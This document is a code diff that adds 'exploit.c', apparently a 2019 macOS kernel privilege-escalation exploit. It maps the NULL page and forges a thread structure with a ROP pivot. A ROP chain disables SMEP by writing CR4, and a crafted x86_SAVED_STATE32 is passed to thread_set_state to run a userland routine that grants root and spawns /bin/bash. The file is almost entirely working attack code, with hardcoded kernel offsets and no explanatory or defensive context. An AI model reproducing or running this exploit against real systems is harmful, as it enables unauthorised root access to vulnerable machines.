|
| 1 | +// |
| 2 | +// exploit.c |
| 3 | +// |
| 4 | +// Created by Ilias Morad. |
| 5 | +// Copyright © 2019 Ilias Morad. All rights reserved. |
| 6 | +// |
| 7 | + |
| 8 | +#include <stdio.h> |
| 9 | +#include <stdlib.h> |
| 10 | +#include <unistd.h> |
| 11 | + |
| 12 | +#include "definitions.h" |
| 13 | +#include "gadgets.h" |
| 14 | + |
| 15 | + |
| 16 | +#define DEBUG 1 |
| 17 | + |
| 18 | + |
| 19 | +// Used in kernel.s |
| 20 | +extern uint64_t current_proc; |
| 21 | +extern uint64_t proc_ucred; |
| 22 | +extern uint64_t posix_cred_get; |
| 23 | +extern uint64_t return_to_user; |
| 24 | + |
| 25 | +extern void escalatePrivs(void); |
| 26 | + |
| 27 | + |
| 28 | +// For debugging |
| 29 | +void hexdump(const void* data, size_t size) { |
| 30 | + char ascii[17]; |
| 31 | + size_t i, j; |
| 32 | + ascii[16] = '\0'; |
| 33 | + for (i = 0; i < size; ++i) { |
| 34 | + printf("%02X ", ((unsigned char*)data)[i]); |
| 35 | + if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { |
| 36 | + ascii[i % 16] = ((unsigned char*)data)[i]; |
| 37 | + } else { |
| 38 | + ascii[i % 16] = '.'; |
| 39 | + } |
| 40 | + if ((i+1) % 8 == 0 || i+1 == size) { |
| 41 | + printf(" "); |
| 42 | + if ((i+1) % 16 == 0) { |
| 43 | + printf("| %s \n", ascii); |
| 44 | + } else if (i+1 == size) { |
| 45 | + ascii[(i+1) % 16] = '\0'; |
| 46 | + if ((i+1) % 16 <= 8) { |
| 47 | + printf(" "); |
| 48 | + } |
| 49 | + for (j = (i+1) % 16; j < 16; ++j) { |
| 50 | + printf(" "); |
| 51 | + } |
| 52 | + printf("| %s \n", ascii); |
| 53 | + } |
| 54 | + } |
| 55 | + } |
| 56 | +} |
| 57 | + |
| 58 | +void fail() { |
| 59 | + puts("[-] Stopping exploit"); |
| 60 | + exit(-1); |
| 61 | +} |
| 62 | + |
| 63 | +int main(int argc, const char *argv[]) { |
| 64 | + kern_return_t err = -1; |
| 65 | + uint64_t kSlide = -1; |
| 66 | + |
| 67 | + // after we return to userland our process state is super messed up |
| 68 | + // in order to be able to get a "stable" environment |
| 69 | + // our userland shellcode will just exec() itself again as root |
| 70 | + if(getuid() == 0) { |
| 71 | + puts("[+] Userland shellcode says hi!"); |
| 72 | + printf("[*] Patched uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid()); |
| 73 | + system("/bin/bash"); |
| 74 | + exit(0); |
| 75 | + } |
| 76 | + |
| 77 | + if(argc < 2) { |
| 78 | + puts("[-] You need to provide the kernel slide."); |
| 79 | + fail(); |
| 80 | + } else { |
| 81 | + kSlide = strtol(argv[1], NULL, 0x10); |
| 82 | + printf("[*] Kernel slide: 0x%llx\n", kSlide); |
| 83 | + } |
| 84 | + |
| 85 | + current_proc = 0xffffff8000968360 + kSlide; |
| 86 | + proc_ucred = 0xffffff8000820d30 + kSlide; |
| 87 | + posix_cred_get = 0xffffff80007ddbe0 + kSlide; |
| 88 | + return_to_user = 0xffffff8000229680 + kSlide; |
| 89 | + |
| 90 | + printf("[*] uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid()); |
| 91 | + |
| 92 | + vm_address_t pageZero = 0x00; |
| 93 | + err = vm_allocate(mach_task_self(), &pageZero, 0x1000, 0); |
| 94 | + if(err != 0) { |
| 95 | + printf("[-] vm_allocate(pageZero) returned %d\n", err); |
| 96 | + fail(); |
| 97 | + } |
| 98 | + memset(0,0,0x1000); |
| 99 | + puts("[*] Mapped NULL Page to catch GS accesses"); |
| 100 | + |
| 101 | + vm_address_t fakeThread = 0; |
| 102 | + err = vm_allocate(mach_task_self(), &fakeThread, 0x1000, VM_FLAGS_ANYWHERE); |
| 103 | + if(err != 0) { |
| 104 | + printf("[-] vm_allocate(fakeThread) returned %d\n", err); |
| 105 | + fail(); |
| 106 | + } |
| 107 | + printf("[*] Fake Thread is at: 0x%x\n", fakeThread); |
| 108 | + |
| 109 | + uint64_t *fakeStack = (uint64_t *)0x5d000000; |
| 110 | + vm_address_t fakeStackk = 0x5d000000; |
| 111 | + err = vm_allocate(mach_task_self(), &fakeStackk, 0x1000, 0); |
| 112 | + if(err != 0) { |
| 113 | + printf("[-] vm_allocate(fakeStack) returned %d\n", err); |
| 114 | + fail(); |
| 115 | + } |
| 116 | + printf("[*] Fake Stack is at: 0x%x\n", (uint32_t)fakeStack); |
| 117 | + |
| 118 | + x86_saved_state32_t state; |
| 119 | + memset(&state, 0xFF, sizeof(x86_saved_state32_t)); |
| 120 | + state.gs = 0x23; |
| 121 | + |
| 122 | + *(int64_t*)(pageZero+0x8) = fakeThread; // gs:0x8 = pointer to thread structure |
| 123 | + *(int64_t*)(fakeThread+0x350) = ROP_PIVOT_STACK + kSlide; // thread->recover; This will be called the next time the |
| 124 | + // kernel executes iretq |
| 125 | + *(int64_t*)(pageZero+0x168) = 0x400+0x28; // stackpointer + 0x28 (not used) |
| 126 | + *(int64_t*)(pageZero+0x400) = 0x4242424242424242; // [rsp] (not used) |
| 127 | + |
| 128 | + puts("[+] SAVED_STATE32 setup done!"); |
| 129 | + |
| 130 | + |
| 131 | + // Disable SMEP |
| 132 | + int sp = 0; |
| 133 | + fakeStack[sp] = kSlide + ROP_POP_RAX ; ++sp; |
| 134 | + fakeStack[sp] = CPU_DISABLE_SMEP ; ++sp; |
| 135 | + fakeStack[sp] = kSlide + ROP_MOV_CR4_RAX ; ++sp; |
| 136 | + // SMEP is disabled and we can jump to our userland code part |
| 137 | + fakeStack[sp] = (uint64_t)escalatePrivs ; ++sp; |
| 138 | + |
| 139 | + |
| 140 | + if(DEBUG) { |
| 141 | + char c; |
| 142 | + printf("[DEBUG] escalatePrivs: %p\n[DEBUG] SMEP disable ROP-Chain:\n", &escalatePrivs); |
| 143 | + hexdump((const void *)fakeStackk, 0x20); |
| 144 | + puts("[DEBUG] Waiting..."); |
| 145 | + // scanf(" %c", &c); |
| 146 | + } |
| 147 | + |
| 148 | + puts("[+] Here we go..."); |
| 149 | + thread_set_state(mach_thread_self(), x86_SAVED_STATE32, (thread_state_t) &state, x86_SAVED_STATE32_COUNT); |
| 150 | + while(1) {} |
| 151 | + return 0; |
| 152 | +} |
0 commit comments